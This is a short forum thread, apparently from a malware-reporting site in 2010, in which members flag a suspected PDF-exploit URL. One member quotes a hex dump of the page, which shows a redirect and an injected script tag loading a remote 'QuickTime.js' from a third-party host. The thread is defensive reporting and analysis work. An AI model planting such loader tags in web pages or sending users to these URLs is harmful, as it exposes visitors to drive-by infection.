Author Topic: http://hznihao.com/index2.html  (Read 3801 times)

0 Members and 1 Guest are viewing this topic.

June 30, 2010, 09:06:46 pm
Read 3801 times

cr4shm0ney

  • Jr. Member

  • Offline
  • **

  • 27
Looks like a PDF exploit

Code: [Select]

http://hznihao.com/index2.htm

June 30, 2010, 09:09:14 pm
Reply #1

cleanmx

  • Special Members
  • Hero Member

  • Offline
  • *

  • 3405
    • Spam-Filter Anti-Spam Virenschutz - CLEAN MX Managed Anti-Spam Service ist die Lösung für Ihr Spam-Problem
look at these:

http://support.clean-mx.de/clean-mx/viruses.php?url=%index2.html

http://support.clean-mx.de/clean-mx/viruses.php?url=%index8.html

-- gerhard

Quote

hex view of evidence ...
0:    50   4C   45   41   53   45   2C   20   57   41   49   54   49   4E   47   2E   2E   2E   2E   20   34   20   73   65   63   0A   0A   0A   0A   3C   6D   65               PLEASE, WAITING.... 4 sec <me
32:    74   61   20   68   74   74   70   2D   65   71   75   69   76   3D   22   72   65   66   72   65   73   68   22   20   63   6F   6E   74   65   6E   74   3D               ta http-equiv="refresh" content=
64:    22   34   3B   75   72   6C   3D   68   74   74   70   3A   2F   2F   70   75   6C   6C   6B   65   65   70   2E   63   6F   6D   22   20   2F   3E   0A   0A               "4;url=http://pullkeep.com" />
96:    0A   3C   62   72   3E   0D   0A   3C   73   63   72   69   70   74   20   74   79   70   65   3D   22   74   65   78   74   2F   6A   61   76   61   73   63               <br> <script type="text/javasc
128:    72   69   70   74   22   20   73   72   63   3D   22   68   74   74   70   3A   2F   2F   63   61   63   68   65   2E   76   61   6C   75   65   6E   65   74               ript" src="http://cache.valuenet
160:    61   70   70   72   61   69   73   65   72   73   2E   63   6F   6D   3A   38   30   38   30   2F   51   75   69   63   6B   54   69   6D   65   2E   6A   73               appraisers.com:8 8 /QuickTime.js
192:    22   3E   3C   2F   73   63   72   69   70   74   3E   0A   3C   21   2D   2D   35   38   62   39   62   64   32   36   32   34   66   30   36   33   31   61               "></script> <!--58b9bd2624f 631a
224:    37   32   38   36   32   61   39   65   66   63   64   39   35   66   38   33   2D   2D   3E                                                      72862a9efcd95f83-->